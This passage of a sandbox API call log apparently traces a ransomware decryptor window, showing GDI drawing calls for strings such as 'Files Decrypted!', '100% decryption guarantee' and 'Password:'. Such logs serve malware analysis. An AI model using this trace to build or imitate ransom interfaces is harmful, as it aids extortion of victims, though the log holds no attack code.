h=0x110a0722) returned 0x4f0a0711 [0164.760] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e25c, format=0x102415, lpdtp=0x3043f24 | out: lpchText="Close Decryptor", lprc=0x19e25c) returned 60 [0164.760] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0164.760] GdipGetClip (graphics=0x69202b0, region=0x691ee90) returned 0x0 [0164.760] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0164.760] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6915f08) returned 0x0 [0164.760] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0164.760] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0164.760] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0164.761] LocalFree (hMem=0xf75c20) returned 0x0 [0164.761] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.761] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0164.761] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.761] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0164.761] GdipIsInfiniteRegion (region=0x691ee90, graphics=0x69202b0, result=0x19e324) returned 0x0 [0164.761] GdipIsInfiniteRegion (region=0x691ee90, graphics=0x69202b0, result=0x19e314) returned 0x0 [0164.761] GdipGetRegionHRgn (region=0x691ee90, graphics=0x69202b0, hRgn=0x19e314) returned 0x0 [0164.761] GdipDeleteRegion (region=0x691ee90) returned 0x0 [0164.761] GdipGetDC (graphics=0x69202b0, hdc=0x19e32c) returned 0x0 [0164.761] GetCurrentObject (hdc=0x4d010738, type=0x1) returned 0xb00017 [0164.761] GetCurrentObject (hdc=0x4d010738, type=0x2) returned 0x900010 [0164.761] GetCurrentObject (hdc=0x4d010738, type=0x7) returned 0x8050721 [0164.761] GetCurrentObject (hdc=0x4d010738, type=0x6) returned 0x8a01c2 [0164.761] SaveDC (hdc=0x4d010738) returned 1 [0164.761] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x504070e [0164.761] GetClipRgn (hdc=0x4d010738, hrgn=0x504070e) returned 0 [0164.762] SelectClipRgn (hdc=0x4d010738, hrgn=0x800406f7) returned 2 [0164.762] DeleteObject (ho=0x504070e) returned 1 [0164.762] DeleteObject (ho=0x800406f7) returned 1 [0164.762] OffsetViewportOrgEx (in: hdc=0x4d010738, x=0, y=0, lppt=0x3044114 | out: lppt=0x3044114) returned 1 [0164.762] GetNearestColor (hdc=0x4d010738, color=0x3c3f3d) returned 0x3c3f3d [0164.762] CreateSolidBrush (color=0x3c3f3d) returned 0x2110073a [0164.762] FillRect (hDC=0x4d010738, lprc=0x19e330, hbr=0x2110073a) returned 1 [0164.762] DeleteObject (ho=0x2110073a) returned 1 [0164.762] RestoreDC (hdc=0x4d010738, nSavedDC=-1) returned 1 [0164.762] GdipReleaseDC (graphics=0x69202b0, hdc=0x4d010738) returned 0x0 [0164.762] GdipGetTextRenderingHint (graphics=0x69202b0, mode=0x19e3a8) returned 0x0 [0164.762] GdipGetDC (graphics=0x69202b0, hdc=0x19e394) returned 0x0 [0164.762] GetCurrentObject (hdc=0x4d010738, type=0x1) returned 0xb00017 [0164.762] GetCurrentObject (hdc=0x4d010738, type=0x2) returned 0x900010 [0164.762] GetCurrentObject (hdc=0x4d010738, type=0x7) returned 0x8050721 [0164.762] GetCurrentObject (hdc=0x4d010738, type=0x6) returned 0x8a01c2 [0164.762] SaveDC (hdc=0x4d010738) returned 1 [0164.763] GetTextAlign (hdc=0x4d010738) returned 0x0 [0164.763] GetTextColor (hdc=0x4d010738) returned 0x0 [0164.763] SetTextColor (hdc=0x4d010738, color=0x6994f5) returned 0x0 [0164.763] GetCurrentObject (hdc=0x4d010738, type=0x6) returned 0x8a01c2 [0164.763] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0164.763] SelectObject (hdc=0x4d010738, h=0x110a0722) returned 0x8a01c2 [0164.763] GetBkMode (hdc=0x4d010738) returned 2 [0164.763] SetBkMode (hdc=0x4d010738, mode=1) returned 2 [0164.763] DrawTextExW (in: hdc=0x4d010738, lpchText="Close Decryptor", cchText=15, lprc=0x19e1c4, format=0x102415, lpdtp=0x30443d0 | out: lpchText="Close Decryptor", lprc=0x19e1c4) returned 60 [0164.764] DrawTextExW (in: hdc=0x4d010738, lpchText="Close Decryptor", cchText=15, lprc=0x19e328, format=0x102015, lpdtp=0x30443d0 | out: lpchText="Close Decryptor", lprc=0x19e328) returned 60 [0164.764] RestoreDC (hdc=0x4d010738, nSavedDC=-1) returned 1 [0164.764] GdipReleaseDC (graphics=0x69202b0, hdc=0x4d010738) returned 0x0 [0164.764] GetFocus () returned 0x30212 [0164.764] GetFocus () returned 0x30212 [0164.764] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0164.764] GdipDrawRectangleI (graphics=0x69202b0, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0164.765] GdipDeletePen (pen=0x6915e78) returned 0x0 [0164.765] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0164.765] GdipDrawRectangleI (graphics=0x69202b0, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0164.765] GdipDeletePen (pen=0x6915e78) returned 0x0 [0164.765] GdipGetDC (graphics=0x69202b0, hdc=0x19e5b0) returned 0x0 [0164.765] BitBlt (hdc=0x10105d6, x=0, y=0, cx=178, cy=111, hdcSrc=0x4d010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0164.765] GdipReleaseDC (graphics=0x69202b0, hdc=0x4d010738) returned 0x0 [0164.765] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0164.765] SelectObject (hdc=0x4d010738, h=0x85000f) returned 0x8050721 [0164.766] DeleteDC (hdc=0x4d010738) returned 1 [0164.766] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0164.766] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0164.766] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3044454, cPoints=0x1 | out: lpPoints=0x3044454) returned 36176186 [0164.766] WindowFromPoint (Point=0x18e) returned 0x30212 [0164.766] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.766] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0164.766] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0164.766] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0164.767] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.767] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0164.768] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.768] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0164.769] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.769] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0164.769] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.769] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0164.769] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.769] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0164.769] GetDC (hWnd=0x0) returned 0x1b010670 [0164.770] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e340) returned 0x0 [0164.770] GdipGetFontHeight (font=0x57fef48, graphics=0x69202b0, height=0x19e338) returned 0x0 [0164.770] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0164.770] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0164.770] GetSystemMetrics (nIndex=5) returned 1 [0164.770] GetSystemMetrics (nIndex=6) returned 1 [0164.771] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.771] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0164.771] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.771] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0164.771] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.771] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0164.772] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.772] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0164.772] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.772] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0164.772] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.772] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0164.773] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.773] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0164.773] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.773] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3045d88) returned 0x0 [0164.773] GdipGetFontSize (font=0x691c4f0, size=0x3045d8c) returned 0x0 [0164.773] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.773] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.774] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.774] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.774] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.774] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x3045ffc) returned 0x0 [0164.774] GdipGetFontSize (font=0x691c900, size=0x3046000) returned 0x0 [0164.774] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.775] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.775] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.775] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.775] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.775] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x30462a0) returned 0x0 [0164.775] GdipGetFontSize (font=0x691c810, size=0x30462a4) returned 0x0 [0164.775] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.776] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.776] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.776] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.776] IsAppThemed () returned 0x1 [0164.776] GetThemeAppProperties () returned 0x3 [0164.776] GetThemeAppProperties () returned 0x3 [0164.776] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.776] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.777] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.777] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.777] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.777] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x3046810) returned 0x0 [0164.777] GdipGetFontSize (font=0x691c680, size=0x3046814) returned 0x0 [0164.777] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.777] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.778] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.778] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.778] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.778] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x3046ae0) returned 0x0 [0164.778] GdipGetFontSize (font=0x691c978, size=0x3046ae4) returned 0x0 [0164.778] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.779] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0164.779] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.779] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0164.846] GdipLoadImageFromStream (stream=0x2a2fed0, image=0x19de80) returned 0x0 [0164.846] GdipImageForceValidation (image=0x69202b0) returned 0x0 [0164.847] GdipGetImageType (image=0x69202b0, type=0x19de7c) returned 0x0 [0164.847] GdipGetImageRawFormat (image=0x69202b0, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0164.847] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.847] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0164.848] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.848] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0164.848] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.848] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x304bfb4) returned 0x0 [0164.848] GdipGetFontSize (font=0x691c950, size=0x304bfb8) returned 0x0 [0164.848] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.849] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.849] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.849] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0164.849] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.849] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0164.849] GetSystemMetrics (nIndex=59) returned 1460 [0164.849] GetSystemMetrics (nIndex=60) returned 920 [0164.849] GetSystemMetrics (nIndex=34) returned 136 [0164.849] GetSystemMetrics (nIndex=35) returned 39 [0164.850] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.850] AdjustWindowRectEx (in: lpRect=0x19e318, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0164.850] GetCurrentThreadId () returned 0x390 [0164.850] GetCurrentThreadId () returned 0x390 [0164.850] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.850] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0164.850] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0164.850] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x304c2f8 | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0164.851] GetCurrentThreadId () returned 0x390 [0164.851] GetCurrentThreadId () returned 0x390 [0164.851] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.851] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0164.851] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x304c438 | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0164.851] GetCurrentThreadId () returned 0x390 [0164.851] GetCurrentThreadId () returned 0x390 [0164.851] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.852] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0164.852] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0164.852] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x304c590 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0164.852] GetCurrentThreadId () returned 0x390 [0164.852] GetCurrentThreadId () returned 0x390 [0164.852] GetCurrentThreadId () returned 0x390 [0164.852] GetCurrentThreadId () returned 0x390 [0164.852] GetCurrentThreadId () returned 0x390 [0164.852] GetCurrentThreadId () returned 0x390 [0164.852] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.852] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0164.853] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0164.853] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x304c854 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0164.853] GetCurrentThreadId () returned 0x390 [0164.853] GetCurrentThreadId () returned 0x390 [0164.853] GetCurrentThreadId () returned 0x390 [0164.853] GetCurrentThreadId () returned 0x390 [0164.853] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.853] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0164.853] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0164.853] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x304ca88 | out: lpchText="Password:", lprc=0x19e200) returned 63 [0164.854] GetCurrentThreadId () returned 0x390 [0164.854] GetCurrentThreadId () returned 0x390 [0164.854] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0164.854] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x304cd5c) returned 0x0 [0164.854] GdipGetFontSize (font=0x691c770, size=0x304cd60) returned 0x0 [0164.854] CreateCompatibleDC (hdc=0x0) returned 0x4f010738 [0164.854] GetDC (hWnd=0x0) returned 0x1b010670 [0164.854] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e22c) returned 0x0 [0164.855] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0164.855] GdipGetLogFontW (font=0x691c770, graphics=0x6921c20, logfontW=0xeeb1c0) returned 0x0 [0164.855] CoTaskMemFree (pv=0xeeb1c0) [0164.855] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0164.855] CoTaskMemFree (pv=0xeeb088) [0164.855] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0164.855] CoTaskMemFree (pv=0xeeb1c0) [0164.855] GdipDeleteGraphics (graphics=0x6921c20) returned 0x0 [0164.855] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0164.855] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0164.855] CreateFontIndirectW (lplf=0xeeb228) returned 0x5d0a019f [0164.855] CoTaskMemFree (pv=0xeeb228) [0164.856] SelectObject (hdc=0x4f010738, h=0x5d0a019f) returned 0x8a01c2 [0164.856] GetTextMetricsW (in: hdc=0x4f010738, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0164.856] GetTextExtentPoint32W (in: hdc=0x4f010738, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x304d2a8 | out: psizl=0x304d2a8) returned 1 [0164.856] SelectObject (hdc=0x4f010738, h=0x8a01c2) returned 0x5d0a019f [0164.857] DeleteDC (hdc=0x4f010738) returned 1 [0164.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.857] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.857] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.858] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.858] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0164.858] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.858] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.858] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.859] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.859] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.859] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0164.859] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.859] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.859] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.860] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.860] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.860] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0164.860] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.861] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.861] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.861] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0164.862] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.862] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0164.862] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.862] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.862] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.862] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.863] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.863] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0164.863] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.863] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.863] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.864] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.864] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.864] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.865] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0164.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.865] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0164.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.865] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0164.865] DeleteObject (ho=0x5d0a019f) returned 1 [0164.866] GetDC (hWnd=0x0) returned 0x1b010670 [0164.866] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e2e0) returned 0x0 [0164.866] GdipGetFontHeight (font=0x691c770, graphics=0x6921c20, height=0x19e2d8) returned 0x0 [0164.866] GdipDeleteGraphics (graphics=0x6921c20) returned 0x0 [0164.866] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0164.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 